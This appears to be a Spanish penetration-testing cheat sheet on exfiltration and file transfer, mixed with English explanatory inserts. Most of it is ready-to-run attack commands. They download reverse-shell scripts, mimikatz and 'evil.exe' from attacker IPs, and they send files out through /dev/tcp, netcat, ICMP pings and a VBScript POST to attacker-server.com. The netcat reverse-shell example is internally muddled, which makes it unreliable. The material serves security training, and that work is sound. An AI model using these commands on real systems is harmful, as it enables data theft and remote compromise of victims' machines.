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Exfiltration

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Dominios comúnmente permitidos para exfiltrar información

Consulta https://lots-project.com/ para encontrar dominios comúnmente permitidos que pueden ser abusados

Copiar y Pegar Base64

Linux

base64 -w0 <file> #Encode file
base64 -d file #Decode file

Windows

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

HTTP

Linux

wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

Windows

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Subir archivos

# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world

Servidor HTTPS

# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###

FTP

Servidor FTP (python)

pip3 install pyftpdlib
python3 -m pyftpdlib -p 21

Servidor FTP (NodeJS)

sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp

Servidor FTP (pure-ftp)

apt-get update && apt-get install pure-ftp
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Cliente Windows

#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt

SMB

Kali como servidor

kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`

O crear un recurso compartido smb utilizando samba:

apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart

Windows

Exfiltration

Exfiltration is the unauthorized transfer of data from a target system. Attackers use various techniques to exfiltrate data, such as:

  • Compression: Attackers compress data before exfiltrating it to reduce its size and avoid detection.

  • Encryption: Data is encrypted to prevent unauthorized access during exfiltration.

  • Steganography: Attackers hide data within other files to avoid detection.

  • Exfiltration over Alternative Protocols: Attackers use protocols like DNS or ICMP to exfiltrate data, bypassing traditional security controls.

  • Exfiltration over Command and Control Channels: Attackers use existing command and control channels to exfiltrate data, making it harder to detect.

To prevent exfiltration, organizations can implement measures such as:

  • Network Segmentation: Segregating networks to limit the movement of attackers within the network.

  • Data Loss Prevention (DLP) Solutions: Monitoring and preventing unauthorized data transfers.

  • Network Traffic Analysis: Monitoring network traffic for signs of exfiltration attempts.

  • User Training: Educating users about the risks of data exfiltration and how to recognize and report suspicious activities.

By understanding exfiltration techniques and implementing appropriate security measures, organizations can better protect their data from unauthorized access and leakage.

CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:

SCP

El atacante debe tener SSHd en ejecución.

scp <username>@<Attacker_IP>:<directory>/<filename>

SSHFS

Si la víctima tiene SSH, el atacante puede montar un directorio de la víctima al atacante.

sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

NC

Description

The nc command, also known as Netcat, is a versatile networking tool that can be used for various purposes during a penetration test. It can be used for port scanning, banner grabbing, transferring files, and establishing reverse shells. Netcat operates by establishing a connection between a client and a server, allowing for data transfer between the two.

Usage

To establish a connection with a remote server using nc, you can use the following command:

nc <remote_server_ip> <port>

To listen for incoming connections on a specific port, you can use the following command:

nc -l -p <port>

Example

Establishing a reverse shell using nc:

  1. Attacker machine: nc -l -p 1234 -e /bin/bash

  2. Victim machine: nc <attacker_ip> 1234

This will establish a reverse shell from the victim machine to the attacker machine, allowing the attacker to execute commands on the victim's system.

nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file

/dev/tcp

Descargar archivo desde la víctima

nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim

Subir archivo a la víctima

nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt

Gracias a @BinaryShadow_

ICMP

# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)

SMTP

Si puedes enviar datos a un servidor SMTP, puedes crear un servidor SMTP para recibir los datos con python:

sudo python -m smtpd -n -c DebuggingServer :25

TFTP

Por defecto en XP y 2003 (en otros sistemas operativos necesita ser agregado explícitamente durante la instalación)

En Kali, iniciar el servidor TFTP:

#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp

Servidor TFTP en python:

pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>

En víctima, conectarse al servidor Kali:

tftp -i <KALI-IP> get nc.exe

PHP

Descarga un archivo con un PHP oneliner:

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

VBScript

Overview

Visual Basic Scripting Edition (VBScript) is a scripting language developed by Microsoft. It is commonly used for writing scripts to automate tasks on Windows operating systems. VBScript can be used for exfiltration by reading data from files, registry keys, or other sources and sending it to an external server.

Exfiltration Techniques

1. File Transfer

VBScript can be used to read the contents of a file and send it to an external server using HTTP or other protocols.

Set objXMLHTTP = CreateObject("MSXML2.ServerXMLHTTP")
objXMLHTTP.open "POST", "http://attacker-server.com/receive.php", False
objXMLHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
objXMLHTTP.send "data=" & ReadFile("C:\sensitive.txt")

2. Registry Data

VBScript can also be used to read data from the Windows registry and exfiltrate it to a remote server.

Set objReg = GetObject("winmgmts:\\.\root\default:StdRegProv")
objReg.GetStringValue &H80000001, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "MaliciousKey", strValue
SendDataToServer strValue

Detection and Prevention

To detect and prevent exfiltration using VBScript, monitoring network traffic for suspicious outbound connections, restricting VBScript execution in enterprise environments, and implementing endpoint security solutions can be effective measures.

Attacker> python -m SimpleHTTPServer 80

Víctima

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe

Debug.exe

El programa debug.exe no solo permite la inspección de binarios, sino que también tiene la capacidad de reconstruirlos a partir de hexadecimal. Esto significa que al proporcionar un hexadecimal de un binario, debug.exe puede generar el archivo binario. Sin embargo, es importante tener en cuenta que debug.exe tiene una limitación de ensamblar archivos de hasta 64 kb de tamaño.

# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt

Luego copia y pega el texto en la ventana de comandos de Windows y se creará un archivo llamado nc.exe.

DNS

Try Hard Security Group

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